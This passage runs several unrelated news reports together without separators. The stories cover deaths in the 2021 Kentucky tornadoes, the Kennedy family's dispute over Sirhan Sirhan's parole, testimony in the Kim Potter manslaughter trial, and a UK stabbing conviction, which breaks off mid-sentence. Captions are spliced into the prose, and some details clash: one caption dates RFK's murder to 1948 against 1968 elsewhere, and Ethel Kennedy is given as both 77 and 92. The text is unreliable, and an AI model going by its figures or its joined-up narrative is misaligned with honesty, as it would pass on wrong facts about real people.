Dunbar, informed Alubahi that their son had died in her arms. 'I wish I could have saved my son,' she said, holding back tears. The three-year-old boy is among at least 88 people who were killed in the swarm of tornadoes that ripped through five states and caused widespread devastation to entire regions last weekend. More than 100 people remain missing as of Wednesday. Kentucky was hardest-hit by last weekend's storms and had at least 74 confirmed fatalities, including a dozen children. In Bowling Green, 11 people died on a single street - Moss Creek Avenue - among them seven children, two of whom were infants. Gov. Andy Beshear cautioned that the number of fatalities 'is fluid' and 'will change' as rescuers continue to search through debris, noting 'it may be weeks before we have counts on both deaths and levels of destruction.' Meanwhile, 92 million Americans remain under wind alerts Wednesday as another massive system moves through the midsection of the country, including in Kentucky. President Joe Biden approved an emergency declaration for the state earlier this week and mobilized nearly 450 National Guard members. Ninety-five of them are searching for those presumed dead. On Wednesday, he took an aerial tour of Kentucky to survey the areas hardest hit by the storms. The White House said officials are doing everything they can to deliver assistance to impacted areas as quickly as possible. Huda Alubahi (right) said she held Jha'lil (left) and his one-year-old brother in her arms as she remained trapped under either a bathroom sink or toilet The three-year-old boy is among at least 88 people who were killed in the swarm of tornadoes that ripped through five states and caused widespread devastation to entire regions last weekend (Pictured: Huda Alubahi's Mayfield home after it collapsed on Saturday) Jha'lil and Julius' father told Alubahi at the hospital that their three-year-old son had died (Pictured: Jha'lil on left, Julius on right) Alubahi said she was sitting in the living room with Jha'lil and Julius when the tornado sirens went off. She wanted to take shelter in the basement, but didn't have time to get her family there. 'I heard the alert and the power went out. My 3-year-old, he said, "Mommy, I'm scared,"' she recalled. 'As soon as I heard kind of like train noises, I grabbed both of them and just jumped into the closet in the bathroom. By that time, everything was just falling on top of us.' The twister shredded their home, causing the upper floors of the Mayfield house to crash down on top of Alubahi and her children. She held Jha'lil and Julius in each arm as they waited for help. Alubahi said her brother, who was searching for them, found them by following followed the sounds of her infant son's cries. 'He ended up seeing my hand that's all he could see,' she said. It took numerous people, including the children's father, to pull the family out of the rubble. Julius was rescued first and untouched by the debris. 'He was untouched, literally, nothing,' Alubahi said. The family was taken to a nearby hospital treatment where Alubahi - who suffered a black eye from debris falling on her face - learned Jha'lil didn't survive. Alubahi, who suffered a black eye from the falling debris, said Jha'lil died in her arms as they laid trapped under the rubble. Julius was untouched by the debris The storm left a trail of wreckage in its wake that stretched from Arkansas to Illinois Alubahi said her brother, who was searching for them, found them by following followed the sounds of her infant son's cries. It took numerous people to pull the family out of the rubble 'I didn't know until then,' she said. 'He was something special.' The mother aded that although Jha'lil could be 'a handful' he was 'perfect'. His loved ones say Jha'lil was loving, friendly and always excited to go to daycare, The Courier reported. He enjoyed Paw Patrol, playing with Nerf guns, doing flips and playing with his older siblings, Damarion and Javion Noonan, Khaliyah Garnett and his one-year-old brother, Julius Dunbar. The three older children were at their father's house miles away during the storm in an area that wasn't struck. Alubahi also shared that her two dogs survived the collapse. Meanwhile, nearly 160 miles away in Bowling Green, 14 people were killed within a few blocks, and 11 people, including seven children, died on one single street when a tornado touched down Friday night. The neighborhood lost entire families, specifically on Moss Creek Avenue where the seven kids were killed, two of them infants. The storm left the community in ruins and residents stricken with grief. In Bowling Green, Kentucky 14 people were killed within a few blocks, and 11 people, including seven children, died on one single street when a tornado touched down Friday night (Pictured: Damage from the neighborhood as seen on Dec. 14) A bicycle lies among the debris on Moss Creek Avenue in Bowling Green on Dec. 14. The neighborhood was one of the hardest hit areas in the city after a tornado ripped through the weekend before Melinda Allen-Ray, who claims she has barely slept since the tornado alerts started screaming and she carried her grandchildren into the bathroom for shelter as the winds whipped her house apart, said she heard her neighbors screaming. 'I heard them - it traumatized me. I think about that each night when I go to sleep, when I do sleep,' she said. 'I just think about all those babies.' The neighborhood features a diverse population with families from Bosnia, Myanmar and Nigeria, many of whom fled to escape violence. Two brothers - originally from Bosnia - lived next door to each other in Bowling Green and lost many members in the storm. From the two brothers' households, one woman died, along with two children and two infants, police said. Another family here lost six members: three adults, a 16-year-old girl, a 4-year-old boy and another child. Around the corner, a 77-year-old grandmother was killed. Two others from the neighborhood died of their injuries at the hospital. 'That's hard to think about - you go to bed, and your entire family is gone the next day,' said Ronnie Ward, with the Bowling Green Police Department. The neighborhood lost entire families, specifically on Moss Creek Avenue (pictured on Dec. 14) where the seven kids were killed, two of them infants A family searches through the rubble of where their Bowling Green home once stood on Dec. 14 Police and rescue units are working to comb through the debris to ensure there aren't any more victims underneath The officer explained they normally instruct people to take shelter in their bathtubs and cover themselves with a mattress, but noted that those efforts wouldn't have made a difference on Saturday because of the severity of the destruction. He said several homes were so destroyed that the tornado ripped all the way through the floor, exposing the earth below. Now, police are working to comb through the debris to ensure there aren't any more victims underneath. 'So you go about that task of trying to get this work done, and then you come across a wagon,' Ward said. 'And you think, that's associated with a child somewhere. And did that child live? Those thoughts, they overtake you, they overwhelm you.' Ben Cerimovic, an immigrant from Bosnia, said the wreckage reminds him of his war-stricken homeland. He said: 'There's a close-knit, thriving Bosnian community in Bowling Green. Most of them came here from war so their children would have a better life, he said. Now this subdivision looks like a war zone, scattered with things their children loved' Bowling Green resident Ganimete Ademi, a 46-year-old grandmother who fled Kosovo in 1999 during the war that killed her uncle and a nephew, said the storm destruction reminds her of her homeland and the dark days where people hid from bombs and lost whole families. 'We come from war; this reminds us, it touches the memory of that, where we've been and how we came here,' Ademi explained. 'I turn my memory back to 22 years ago.' Resident Ben Cerimovic echoed her claims saying: 'The feelings I'm having right now, I really can't explain. 'There's a close-knit, thriving Bosnian community in Bowling Green, which has a robust refugee resettlement program to bring migrants to Western Kentucky. Most of them came here from war so their children would have a better life, he said. Now this subdivision looks like a war zone, scattered with things their children loved.' Cerimovic added: 'Every time I see [the wreckage], and I hear about those kids, I think about mine. What if they were my kids?' Last weekend's tornado left a trail of wreckage in its wake that stretched from Arkansas, where a nursing home was destroyed, to Illinois, where an Amazon distribution center was heavily damaged. In Kentucky, Gov. Andy Beshear said the death toll could grow as authorities continued to work around debris that slowed recovery efforts. Nearly 450 National Guard members have been mobilized in the state, and 95 of them are searching for those presumed dead. The Federal Emergency Management Agency (FEMA) has sent search-and-rescue and emergency response teams to Kentucky, along with teams to help survivors register for assistance. President Joe Biden toured the state on Wednesday to survey the areas hardest hit by what was one of the deadliest tornado outbreaks in recent US history. In storm-ravaged Mayfield, Biden received a briefing from Kentucky Governor Andy Beshear and emergency response officials about the recovery effort. 'I have not seen this much damage from a tornado,' he said, telling local officials, 'Don't hesitate to ask for anything.' FEMA has sent dozens of generators into the state, along with 135,000 gallons of water, 74,000 meals and thousands of cots, blankets, infant toddler kits and pandemic shelter kits. Biden approved federal disaster declarations for Kentucky and the neighboring states of Tennessee and Illinois, offering residents and local officials increased federal aid. President Joe Biden toured Kentucky on Wednesday to survey the areas hardest hit by what was one of the deadliest tornado outbreaks in recent US history Gov Andy Beshear of Kentucky said the complete scale of destruction won't be known for days as some homes are impossible to get to Kentucky was by far the worst struck by the more than 30 tornadoes that ripped across the Midwest last weekend (Pictured: Damage in Mayfield, Kentucky as seen on Dec. 15) The tornados blew residents' personal belongings up to 130 miles away, with wind speeds of up to 40 mph Katie Posten, of New Albany, Indiana, found a family photo on her windshield and was able to locate the Kentucky family it belonged to, 130 miles away in Dawson Springs, Kentucky, through a public appeal on Facebook Chris Kramer posted that he found a Veterans of Foreign Wars card (left) circa 1993 belonging to a Marion Tolbert, that originated 100 miles away at Matthew Tolbert's grandfather's house in Benton. A Polaroid picture (right) of Leigh Ann Carner Morris' father with his dog was found in Brandenberg, Kentucky, 110 miles away from where it originated in Princeton, Kentucky The president told Kentuckians Wednesday that it was remarkable how the area's communities had come together to help each other out. 'There's no red tornadoes, there's no blue tornadoes,' he said, referring to the colors associated with Democrats and Republicans. He also told residents: 'We're not going to leave I promise you. The federal government is going to be here until this gets rebuilt.' Kentucky was by far the worst struck by the more than 30 tornadoes that ripped across the Midwest last weekend. Many residents' personal belongings were blown up to 130 miles away, and now people are reuniting devastated families who lost everything with pieces of their lives that turned up in unusual places. Midwesterners have taken to social media to locate the owners of pictures, Bibles, baby quilts, Christmas ornaments and other keepsakes after deadly tornadoes swept across six states this weekend. A Facebook group, Quad State Tornado Found Items, is flooded with posts detailing items - and even pets - that people have found. In many cases, the owners lived 100 miles away from where their belongings ended up. A black and white photo of a woman in a striped sundress and headscarf holding a little boy on her lap traveled almost 130 miles in winds that reached up to 140 miles per hour in the storm. Robert F Kennedy's daughter Kerry Kennedy, 62, wrote an open letter to California Governor Gavin Newsom urging him not to parole her father's killer Sirhan Sirhan. A state parole board recommended this year that Sirhan, 77, be released. The ruling by the two-person panel at Sirhan's 16th parole hearing was then set to be reviewed by the California Parole Board's staff. Gov. Newsom will have the final say on the convicted murderer's release. He has hinted that he will not approve the parole and is expected to make a decision soon. Kerry Kennedy, who was 8 years old when her father was assassinated at LA's Ambassador Hotel in 1968, published an open letter to the governor in The Sacramento Bee on Wednesday declaring: 'Sirhan Sirhan should not be paroled.' Kerry Kennedy, 62, the daughter of RFK, published an opinion piece on Wednesday urging Governor Gavin Newsom not to parole her father's killer Sirhan Sirhan Sen. Robert Kennedy was assassinated at the Ambassador Hotel on June 5, 1968 Gov. Newsom has hinted that he will not approve Sirhan's parole but has not officially approved or denied the decision that awaits his final vote The lawyer and head of RFK Human Rights, a non-profit dedicated to social justice, explained that she is an 'ardent proponent of decarceration' but does not believe Sirhan is a worthy candidate. 'I...fervently believe that every single person who is suitable for parole should be paroled,' Kerry Kennedy wrote. 'Everyone deserves an opportunity for change, but this must start with acknowledging a wrong was committed; taking responsibility for the harm; apologizing; and engaging in the hard work of changing oneself so society is secure in knowing that the perpetrator will not harm the community again.' But Kerry Kennedy noted that Sirhan has never shown remorse or fully taken responsibility for his crime. Instead, he has supported conspiracy theories that claim to prove his innocence. 'Sirhan still cannot acknowledge, apologize or try to atone for what he has done,' Kerry Kennedy stated. When Sirhan was asked to explain how he was involved in the assassination in his 2016 parole hearing, Sirhan simply replied, 'I was there, and I supposedly shot a gun.' When the commissioner asked again saying, 'I'm asking you to tell me what you believe you're responsible for,' Sirhan replied, 'It's a good question. Legally speaking, I'm not guilty of anything.' In his latest parole hearing, Sirhan still refused to accept responsibility for the crime. Sirhan Sirhan, 77, was recommended to be released on parole by a California panel in August after 53 years in prison for the murder of RFK on June 5, 1948 Sirhan was convicted of first-degree murder and sentenced to death in 1969. He is serving a life sentence at the Richard J. Donovan Correctional Facility in San Diego County, California Sirhan stepped towards RFK with a rolled up campaign poster, hiding his .22 revolver fatally shooting him in the head from only a foot away He claimed that after 53 years he still does not remember the crime saying, 'it pains me to experience that, the knowledge for such a horrible deed, if I did in fact do that,' according to the AP. Parole commissioner Robert Barton reportedly recommended Sirhan for release despite his 'lack of taking complete responsibility' because they did not deem him to be 'currently dangerous.' 'Remorse is integral both to the parole process and to the very notion of criminal rehabilitation itself, because if an offender does not understand his crime, what is to prevent him from committing a similar act?' Kerry Kennedy stated. The 62-year-old pointed to a statement her mother, Ethel Kennedy, released in September insisting that her husband's killer should not be paroled and 'should not have the opportunity to terrorize again.' 'If parole is to address our nation's problem of mass incarceration effectively while we create a better, more humane system based on compassion and hope, then the parole system has to be sound, trusted and safe,' Kerry Kennedy explained before noting that she believes there many other inmates more suitable for parole than Sirhan. 'I believe that even after all these years in prison, he still poses a great threat to public safety,' Kerry Kennedy said making her stance abundantly clear. RFK was shot in Los Angeles after giving a victory speech following his win in the South Dakota and California 1968 Democratic presidential primaries (Pictured: Ethel, left, RFK, right) AGAINST: The statement posted Friday was signed by six of Robert Kennedy's nine surviving children announced that they were 'devastated' by the San Diego panel's ruling. L-R Joseph P. Kennedy II, Maxwell Kennedy and Rory Kennedy AGAINST: The siblings will continue to fight to keep Sirhan behind bars for their father's murder. L-R Courtney Kennedy Hill, Kerry Kennedy and Christopher Kennedy Kerry Kennedy's open letter came several days after she and her brother Christopher G. Kennedy appeared on CBS Sunday Morning to advocate for Sirhan's place behind bars. 'We need to be an advocate for our father; he is not here to advocate for himself,' Christopher Kennedy said in the interview. 'That's the legacy he taught us, the notion of duty and honor and what is required of a child, of family, of a country.' On the same day as Sirhan's recommendation to parole, six of the nine surviving children of the slain New York senator issued a statement announcing that they were 'devastated' by the San Diego panel's ruling. Although most of the Kennedy family has avoided discussing or engaging with their father's death and Sirhan in public, the parole board's recommendation has pushed some of them to 'adamantly oppose the parole and release of Sirhan Sirhan.' 'We are in disbelief that this man would be recommended for release,' the statement from the six siblings read. It was signed by Joseph P. Kennedy II, Courtney Kennedy Hill, Kerry Kennedy, Christopher G. Kennedy, Maxwell T. Kennedy and Rory Kennedy who write that the decision has 'inflicted enormous additional pain.' Rory Kennedy also published an opinion piece in The New York Times titled 'The Man Who Murdered My Father Doesn't Deserve Parole.' She boldly wrote: 'As my father was taken forever, so too should Mr. Sirhan be.' The youngest daughter of RFK also noted Sirhan's failure to accept responsibility for her father's murder. 'How can you express remorse while refusing to accept responsibility?' Rory Kennedy questioned. Rory Kennedy argued that the parole board acted 'without concern for justice or regard for rehabilitation.' She also pointed to the disturbing idea that his freedom could allow her father's killer to move less an hour away from her home, where his brother lives. Ethel Kennedy, 77, publicly opposed Sirhan's recommendation for parole in a statement penning, 'He should not be paroled', in shaky handwriting Ethel described her husband's death as 'an unspeakable loss to the inhumanity of one man' (Pictured Robert (left) and Ethel Kennedy (right) on their wedding day in Greenwich, Connecticut on June 17, 1950) Ethel released her official statement in September writing: 'He should not be paroled' RFK's widow, Ethel Kennedy, has joined the majority of her children in publicly opposing Sirhan's parole. The 92-year-old released an official statement which read: 'Bobby believed we should work to 'tame the savageness of man and make gentle the life of the world.' 'He wanted to end the war in Vietnam and bring people together to build a better, stronger country. More than anything, he wanted to be a good father and loving husband. 'Our family and our country suffered an unspeakable loss due to the inhumanity of one man. We believe in the gentleness that spared his life, but in taming his act of violence, he should not have the opportunity to terrorize again.' At the bottom of the printed statement she signed, 'He should not be paroled,' and her name. But two of RFK's children, Douglas Kennedy, 54, and Robert F. Kennedy Jr., 67, have supported Sirhan's parole. Douglas addressed the two-person panel that recommended that parole be granted during a virtual hearing, according to the AP. 'I'm overwhelmed just by being able to view Mr. Sirhan face to face,' he said moved to tears. 'I've lived my life both in fear of him and his name in one way or another. And I am grateful today to see him as a human being worthy of compassion and love.' FOR: Robert F. Kennedy Jr. (left) and Douglas Kennedy (right) have supported Sirhan's recommendation for parole Sirhan was immediately wrestled to the ground by RFK's security team and taken into custody after firing the fatal shot. He claims that he had been drinking alcohol and did not remember pulling the trigger. He has never accepted responsibility for the killing Sirhan and his supporters have backed conspiracy theories claiming to prove his innocence RFK Jr. has spoken in favor of Sirhan's release, and wrote in a letter that he met with his father's killer in prison who 'asked for forgiveness,' the AP reported. He has previously stated that he does not believe Sirhan killed his father. Paul Schrade, who'd worked with RFK and was also shot that night, also believes that Sirhan was not the shooter and should be released. 'Sirhan did not shoot Robert Kennedy,' Schrade, 96, maintains. 'I got the first shot, the second shot missed Kennedy,' according to NPR. He believes that unreliable ballistics evidence by the Los Angeles Police Department disrupted the case and advocates for Sirhan's release in order to find RFK's true assassin. Kathleen Kennedy Townsend, 70, has not publicly announced her opinion of Sirhan's parole recommendation. Two of Robert and Ethel's 11 children are deceased. David Kennedy died at age 28 in 1984 and Michael Kennedy died at age 39 in 1997. Sen. Robert Kennedy and Ambassador Hotel employee Juan Romero are pictured moments after RFK was shot by Sirhan (Pictured on June 5, 1968) Robert Kennedy was walking through the kitchen of the hotel stopping to speak with supporters when he was shot (Pictured on June 5, 1968) RFK was taken to Good Samaritan Hospital and pronounced dead a day later, on June 6, 1968 RFK was the younger brother to former President John F. Kennedy, serving as his brother's US attorney general. He was then elected as a New York Senator. RFK was 42 years old when he was gunned down at the Ambassador Hotel a day. The rising politician was shot after giving a victory speech following his win in the South Dakota and California 1968 Democratic presidential primaries. The shooting occurred in the kitchen area of the hotel as RFK and several of his staff made their way to the press room. He and five other people were shot as Sirhan was immediately apprehended. Sirhan was convicted of first-degree murder and sentenced to death the next year. He eluded execution when the California Supreme Court briefly outlawed capital punishment in 1972 and lessened his sentence to life in prison with the possibility of parole. The Palestinian immigrant claimed he had been drinking on the night of the assassination and doesn't remember pulling the trigger. If Sirhan is released, he may be deported to Jordan as he never obtained US citizenship after immigrating to the country from Israel as a child. The last witness called today in the Kim Potter trial was Daunte Wright's father, Aubrey, 42, a final 'spark of life' witness to speak to Wright's life rather than the manner of his death. Meanwhile, the prosecution will rest tomorrow according to prosecutors in Hennepin County District Court. Assistant Attorney General Matthew Frank told the court that they anticipated resting having called more than 20 witnesses across six days of testimony, some of whom did more for the defense than their own case. Taking the stand late Wednesday Wright Sr's testimony was brief. He told prosecutor Erin Eldridge that he loved his son and missed him 'a lotevery day.' Wright was his first son with Katie Bryant, who testified on the first day of the trial and told how she rushed to the scene of her son's death on April 11. The last witness they called today was Daunte Wright's father, Aubrey, 42, a final 'spark of life' witness to speak to Wright's life rather than the manner of his death Taking the stand late Wednesday Wright Sr's testimony was brief. He told prosecutor Erin Eldridge that he loved his son and missed him 'a lotevery day' According to Wright Sr, he had a special relationship with his first-born son who was an older brother to younger sisters Destiny and Diamond. 'We did a lot of things as a family, as a group, because we're like, all we have,' he said. As Wright testified jurors were once again shown images of Wright with his infant son Daunte Wright Jr, and with his father. He said: 'I was so happy for him because he was so happy [to be a father] and it was my chance to be a grandfather.' 'We had a close relationship,' He was shown a picture of Daunte holding his infant son, Daunte Jr. 'To see him as a father, it was like, I was so happy for him, because he was so happy. He was so happy about Junior. It was my chance to be a grandfather,' Arbuey Wright said. 'He loved his son.' 'I loved Daunte. He was loved,' he continued. 'I miss him a lot, every day.' Assistant Attorney General Matthew Frank told the court that they anticipated resting having called more than 20 witnesses across six days of testimony, some of whom did more for the defense than their own case. Assistant Attorney General Matthew Frank (left) and defense attorney Paul Engh (right) are seen during questioning on Wednesday, December 15 Arbuey Wright explained that he had worked with his son at Famous Footwear for a year until the pandemic. 'I was his boss and I was happy, you know, to have my son coming on to work with me,' he said. 'It was great. It was challenging, you know, to work with my son. You know, I tried to let him understand the difference between where I work, I'm your boss, and at home, I'm your dad; it's a difference,' he said, laughing. Earlier on Wednesday, a Taser expert testifying for the prosecution told jurors in the that, 'mistakes happen' in policing and described the former cop as 'peaceful and law-abiding.' On Tuesday jurors in Minneapolis's Hennepin County District Court heard about BCPD police department's taser training at such length under direct examination by Assistant Attorney General Matthew Frank, that Judge Regina Chu suggested that flagging jurors stand and stretch their legs. Brooklyn Center Police Department Sgt Mike Peterson became the third state witness to bolster the defense's case that Potter's use of force was justified and that her shooting of Daunte Wright, 20, was a terrible mistake rather than a criminal act. Brooklyn Center Police Department Sgt Mike Peterson was called to testify by the prosecution on the sixth day of Kim Potter's trial Wednesday Peterson, BCPD's taser training officer, gave evidence bolstering the defense's case that Potter's accidental fatal shooting of Daunte Wright, 20, was a terrible mistake rather than a criminal act Officer Kim Potter, a 26-year veteran in the force, claims she accidentally shot Daunte Wright (right) when she reached for her gun instead of her taser during a traffic stop over his expired plates in Brooklyn Center, Minnesota on April 11 Defense attorney Paul Engh pointed out that the taser company's own warnings and liability waiver pointed to the risks of confusing the weapon with a handgun. 'It happens,' Engh said. Peterson agreed. Engh painted the scenario in which Potter, 49, and her fellow officers found themselves on April 11 when the traffic stop went sideways and ended with Wright's death. He asked Peterson, BCPD's taser training officer, if a cop would be justified in using a taser under those circumstances. Peterson replied: 'If that was a training scenario that was put in front of me, or one I had created, then use of a taser would have been reasonable.' Under further questioning over the split-second decisions officers must make, Peterson said that they could not be second-guessed with the benefit of 20/20 hindsight. Instead, he said: 'Mistakes happen in every part of our worldThere are too many variables to have planned out in advance to be able to eliminate that.' The testimony comes after prosecutors suffered a double blow at the start of the fifth day of trial Tuesday when they failed in their bid to bring two motions undermining the credibility and limiting the scope of testimony of law enforcement officers. Later in Wednesday's proceedings, the state's Use of Force expert Professor Seth Stoughton took the stand to contradict the testimony of law enforcement officers called so far, telling jurors that Potter would not have been justified in using deadly force in her encounter with Wright. Potter sits with her defense team at the Hennepin County Courthouse in Minneapolis on Wednesday Earlier in the trial, jurors were shown body cam and dash cam footage of the dramatic moment Potter shot Wright dead after 'accidentally' pulling out her gun instead of her taser In this image provided by the prosecution shows the difference between a Taser and a Glock Potter's defense maintains that the ex-cop would have been entitled to draw her Glock in a bid to protect her fellow officer, Mychal Johnson, who they have characterized as 'dangling' out of Wright's car and at risk of being dragged, injured and even killed should the car have driven off. Three of the state's own witnesses have testified to this opinion. Potter, 49, is charged with first- and second-degree manslaughter in the April 11 shooting of Daunte Wright But, taking the stand Wednesday morning, Stoughton who was a state Use of Force Expert at Derek Chauvin's trial said that having reviewed all the evidence, 'The use of deadly force was not appropriate, and the evidence suggest that a reasonable officer could not have believed that it was proportionate to the threat at the time. In other words, use of deadly force was excessive and disproportionate.' He also stated: 'I think the evidence suggested that [Officer Potter] intended to use the taser and not the firearm.' In testimony during which the prosecution seemed to regain lost ground, Stoughton made the distinction between 'risk' and 'threat' saying that officers were not permitted to respond to risk with force. According to Stoughton, Johnson being 'over-extended' into the car, 'Certainly has the potential, if the vehicle begins moving to be dragged, ejected, seriously injured, run over by the vehicle that's always a risk. 'It doesn't become a threat until there's ability, opportunity and intention.' Later on Wednesday, Professor Seth Stoughton (pictured) - the state's Use of Force expert -took the stand to contradict the testimony of law enforcement officers called so far, telling jurors that Potter would not have been justified in using deadly force during the encounter As it was, he said, Johnson was gripping Wright's hands right before the shooting preventing him from being able to drive the vehicle. He also said that Potter's conduct before and after the shooting indicated that she had no intention of using deadly force, and that no reasonable officer would have used it given the facts before her. Stoughton did not believe that a reasonable officer would perceive any threat to Johnson, or even the extent to which he was in car. And he cast doubt on whether Potter could even see Johnson's position. He said that while bodycam footage should not be mistaken for the perspective of an officer, 'for the vast majority of the 8 seconds that Johnson was in the car you can't really make that out at all on Officer Potter's body-worn camera.' The proximity of the other officers and a passenger also mitigated against a reasonable officer using deadly force, Stoughton said. He explained that this was because it is generally accepted that officers miss their targets more than they hit them and known that bullets can over-penetrate and hit others. In testimony that appeared to contradict his earlier statement Stoughton went onto say that, if Potter had been aware of Johnson's initial position in the car and not known that he had prevented Wright from driving or that he had pulled out of the car, then the use of deadly force 'would be proportionate.' He added however that it would still not be 'appropriate' due to the proximity of the other officers and the passenger. How does an officer use a gun instead of a Taser? HOW FREQUENTLY DOES THIS HAPPEN? Experts agree that such incidents are rare and probably happen fewer than once per year throughout the U.S. A 2012 article published in the monthly law journal Americans for Effective Law Enforcement documented nine cases dating back to 2001 in which officers shot suspects with handguns when they said they meant to fire stun guns. WHY DOES IT HAPPEN? Reasons that have been cited include officer training, the way they carry their weapons and the pressure they feel during dangerous and chaotic situations. To avoid confusion, officers typically carry their stun guns on their weak sides - the side of their nondominant hand - and away from handguns that are carried on their dominant hand's side. That's how Potter carried hers, and the chief of her suburban Minneapolis police department at the time of the shooting said that's how the department's officers were trained. WHAT DOES THE DEFENSE SAY? Defense attorney Paul Engh told jurors in his opening statement that an expert will testify about how in chaotic situations like this shooting, a person's ingrained training takes over. He said Potter had 26 years of gun training, but fewer years of training on her Taser, which is a newer weapon. Engh said they'll hear that Potter made an 'action error,' the sort in which someone does something while meaning to do something else, such as writing the previous year on a check out of habit, or typing an old password into a computer. He also compared them with errors made under stress by experienced pilots or surgeons. Source: Associated Press Advertisement He concluded: 'The use of a taser was unreasonable and inconsistent with generally accepted practices.' Whether or not the taser had been successful, he said, its deployment risked turning Wright's car into, 'an unguided missile,' if he stepped on the gas. In any event, he told the jury: 'The results are not good for the police.' According to Stoughton, Wright presented a threat of flight but could easily have been found and apprehended at a later date. Almost immediately attorneys for Potter objected. Judge Chu cleared the court while they made an impassioned plea to be allowed to introduce evidence of Daunte Wright's 'prior bad acts' or move for a mistrial on the back of the expert's testimony. Responding to Stoughton's assertions Engh said: 'We don't believe he's reviewed an inch think file on every time he [Wright] gets arrested he tries to escape, every court appearance he misses, every time he can get away, he gets away. 'We'll find him he'll be arrested, no big deal [as Stoughton testified] is false! 'And the jurors are writing it down, they're making notes and we need to rebut the falseness of this opinion.' His voice rising further Engh said: 'A false predicate and false fact denies us due process and if you're ruling is that we can't ask about it we have to ask for a mistrial and I'll make an offer of proof of every time this kid has run away and not been found.' Judge Chu admitted: 'I do think the jury has gotten the impression that he could easily been apprehended later and there is a basis for believing that he wouldn't have.' But she ultimately ruled that the evidence would not be admissible given that Potter was unaware of Wright's history at the time of the attempted arrest. In a brutal cross examination Earl Gray made much of the fact that Stoughton had not been a patrol cop for more than 15 years and had little, if any, experience of critical incidents himself. He often harangued him and demanded that Stoughton answer lengthy questions with a simple 'yes' or 'no.' And he pressed him to agree that it was 'less than a second' elapsed between Potter's warning 'Taser! Taser! Taser!' and the gunshot and that Johnson was still partially in the car when that warning came. On Monday Minnesota Attorney General Keith Ellison made a bid to question the credibility of police officers' testimony by bringing Potter's role as police union president to light. In a court filing he claimed that the jury could not do their job without an awareness of what he characterized as a source of bias. In a brief hearing Tuesday morning, Judge Regina Chu dismissed the argument made by Assistant AG Matthew Frank ahead of Day Five of testimony in Daunte Wright's shooting. Frank attempted to claim that the testimony of former Brooklyn Center Police Sergeant Mychal Johnson could have been bias even though he was not a union member. Johnson was called as a state witness Friday but told the court that Potter was not only within her rights to use her taser but that, under the circumstances she would have been justified in using lethal force. According to Judge Chu: 'Here's the problem I see, former officer Potter is no longer connected to the police union in any way so witnesses who are testifying couldn't possibly be bias to testify in her favor because of her position.' She concluded: 'I'm going to find that the question about union membership and officer Potter's former activities are not relevant to show bias. I am denying the motion.' Judge Chu went onto deny a second prosecution bid to limit testimony of law enforcement witnesses. In a notice also filed yesterday the state sought to prohibit attorneys eliciting what they referred to as 'expert opinions' from lay witnesses. As with the previous motion this seemed a direct response to Johnson's testimony. In this screen grab from video, a photo of a Glock 9mm handgun carried by Potter is entered into evidence Tuesday morning, Judge Regina Chu dismissed the argument made by Assistant Matthew Frank ahead of day five of testimony in Daunte Wright's shooting During Tuesday's morning break Potter officially waived her right to a jury trial on the aggravating factors brought by the state in their bid to secure a longer sentence than the terms suggested by Minnesota state should she be found guilty. First-degree manslaughter carries a sentence of up to 15 years but sentencing guidelines mean that, should she be found guilty, Potter would more likely fact a term of seven years. The prosecution has already filed a motion pushing for harsher sentences in the event of a guilty verdict. Potter, who quit the force two days after his death, has said she meant to use her Taser on Wright. Potter is white. Wright, 20, was Black. The shooting set off days of protests and clashes with law enforcement in Brooklyn Center, just as former Minneapolis Police Officer Derek Chauvin was on trial nearby in George Floyd's death. A jilted boyfriend who tried to cut off a man's penis in a brutal attack after the victim had a fling with his ex-girlfriend has been jailed for 20 years. James Cunliffe, 33, attempted to sever Peter German's genitals in a frenzied revenge assault after he found the victim and his ex partner Shannon Mather drinking alcohol, listening to music and watching TV at her home. Cunliffe stabbed Mr German, 45, seven times and targeted him around the groin area as the victim tried to fight him off. Mr German suffered a punctured lung and wounds to his head, arm and groin, as well as injuries to his testicles. At Manchester Crown Court, Cunliffe, of Leigh, Greater Manchester, was found guilty of attempted murder and sentenced to 20 years following a trial. James Cunliffe, 33, of Leigh, Greater Manchester, who attempted to sever Peter German's genitals in a brutal attack, was found guilty of attempted murder and sentenced to 20 years following a trial Mr German who had been in an on-off relationship with Miss Mather said he had been suffering from insomnia since the attack. He said: 'He was trying to chop my d*** off, he was trying to cut me down there on purpose. When he stabbed me between the leg, I thought ''this is real this, he is going to kill me here.'' 'I actually thought I was going to die with all the blood that was coming out, I thought I was going to die on that floor.' Mr German added: 'It affected me being in hospital knowing I have come so close to dying and I have been having bad dreams about it. I feel really sad and down all of the time and it is going to take me ages to feel normal again 'I am paranoid of people staring at me. Every time I have a dream, I am being chased by someone. I am sore everywhere and they cannot do anything about it. I have not been able to breathe for a few days. I keep getting headaches and throbbing all of the time. 'The incident was fast and I can barely remember it. I remember thinking the defendant was going to cut my penis off. It was all a blur with me trying to defend myself. I remember the pain in my arm with me being slumped in the corner of the room with him over me.' Mr German said he was in hospital for five days on morphine and the attack had left him with anxiety. He added: 'It was difficult for me to move and sleep. I felt awful throughout the entire time. The incident has left me with anxiety. I went to hospital feeling like I was having a heart attack but they told me it was anxiety and that I would have to learn to live with it. 'I have since had mini anxiety attacks. It feels as if my soul is going to leave my body and like I am going to die. It feels like my head is being crushed and my ears for ringing, I feel I cannot be normal. There is not a day that goes by where I think I could have been killed. It is the most horrific experience I have ever had to go through.' The trial was told Cunliffe has been dating Miss Mather, 31, for two years but they fell out and he had been issued with a restraining order banning him from contacting her. But he had been ignoring the court order and became jealous of Mr German. Gwen Henshaw, prosecuting, said: 'The motive for this attack was jealously, fuelled by rage. There was some bad blood between these two men born out of what might be described as a love triangle. 'The defendant was an embittered ex-boyfriend whilst the victim was the favoured partner with both having ''on-off'' relationships with Miss Mather.' On March 22, Mr German, who had spoken to Miss Mather for several months, was invited to her home. Cunliffe attended the property at about 7.30pm to pick up some clothes only to spot his ex and the victim inside drinking alcohol, listening to music and watching TV. He sent Miss Mather a text message saying: 'Trust me, I'm capable of a life sentence, so don't f****** wind me up' and then barged into the property. He tackled Mr German to the floor before they began struggling and Cunliffe grabbed a knife to stab him. Miss Henshaw added: 'He rushed in and attacked Mr German with his fists causing him serious bruising. He thought he was going to leave the address but instead went into the kitchen and grabbed a large knife The trial was told Cunliffe had been issued with a restraining order banning him from contacting Miss Mather Mr German suffered a punctured lung and wounds to his head, arm and groin, as well as injuries to his testicles, Manchester Crown Court heard 'He then returned and stabbed him to the groin, head, chest and head. Shannon Mather was shouting for him to stop. He suffered a wound to the back of his head, wound to the thigh and perineum and a further wound to his chest, which left him with inevitable scarring.' Cunliffe eventually fled to his uncle's house, with his T-shirt covered in blood and told him: 'I've just stabbed him up.' He washed his hands and put on a fresh shirt, before adding: 'I'm going to the shop for some cans, I'll 